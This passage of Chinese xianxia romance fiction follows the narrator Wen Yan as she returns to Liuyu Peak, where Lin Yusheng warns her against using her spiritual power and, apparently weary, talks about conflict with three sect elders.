“我又说远了。”她止住话头,看着我,似乎在斟酌字句,“我和前辈说这些,也只是想说……我只是师尊的徒弟,而且……师尊他从来不是一个随便对待感情的人,我也从没见过他留其他人在流玉峰顶。至于旁的,个中缘由我也不清楚,前辈与师尊的事情还是要自己定夺。” 我回到流玉峰顶的时候,林玉声正坐在竹林外面等我,斜月已经高高钩在对面山顶了,小小的一撇。 “去了这样久,”他指尖抵着明漪,抬眼看过来,“照川有什么事情吗?” 我摇摇头:“没什么。她只是跟我讲了一些以前的事情。” 林玉声便不再多问,转了话头:“你方才去做什么了?” 我把何一水的事情原原本本都告诉他,林玉声听了,眉头就很轻地蹙在一起,拉过我的手腕,指尖搭上去。 这是这几日我头一次与他肌肤相接。 我没听他的话,有点心虚,没话找话:“你……因为何一水的事情不高兴吗?” “不是。”他摇摇头,不以为然,“旁人会不会变,我又掌控不了,当下顺着我自己的心意做事就是了。前后都没什么可想的。” 他说完就抬眼看我:“别打岔——闻鄢,我没跟你开玩笑。这段时日,不要再用你的灵力了。不然轻则损你根基,重则……” 说到这里他就顿住,我一愣:“怎么……怎么会这样?” 他摇摇头:“此间复杂,日后我告诉你。我自然有法子,你只眼下记住这件事就是了。” 我只好点头,沉默一阵子又问他:“你跟那三个太上长老有仇?” “算得上吗?”林玉声想了一想,“没怎么跟他们打过交道。只有一回,当时那群老东西临到阵前自己跑回洞府当缩头乌龟,我到放鹿山之前顺手劈个乌龟壳……劈个洞府而已。” 好吧。怪不得当时账上有那么一笔。 “那就别多想了。”我说,“我就在这里,哪也不去。他们敢来,我帮你应付。不用灵力也没关系。” 不就是一群几百年都没爬上渡劫期,靠着资历混上去的老东西吗?我不用灵力也有其他法子,能帮着林玉声应付。 他听了这话没应声,只是指尖从我腕上挪开。我想牵住他的手,却又找不到缘由。说正事的时候还好一些,一旦不说正事,我仍然不知道眼下以什么身份与他相处。 没关系。我想,过几日大概就好了。 林玉声听了这话,就着月色久久地看我,却忽然说:“哪里也不去吗?” 我点头,他就笑了,却笑得像叹息。 “我原本以为这次不一样,偏偏这个时候又生事端。”他说,“总是这样说……你知道前路是怎么样的吗?” 我不明白。那几个太上长老怎么能让林玉声担心成这个样子?我又哪里“总是这样说”? 但他那样看着我,我不知道该怎么问他这些话。 “没有前路,劈出来一条就是了。”我只好顺着他的话说下去,“打不赢就再打一次,两次不行就三次,总能打赢的。” 本来就是这个道理。 林玉声看着我,忽然闭了眼睛很疲惫的样子,似笑非笑的。 “好。”他轻声说,“听你的。再试一试。我再试一试。” 他最近真的越来越奇怪了。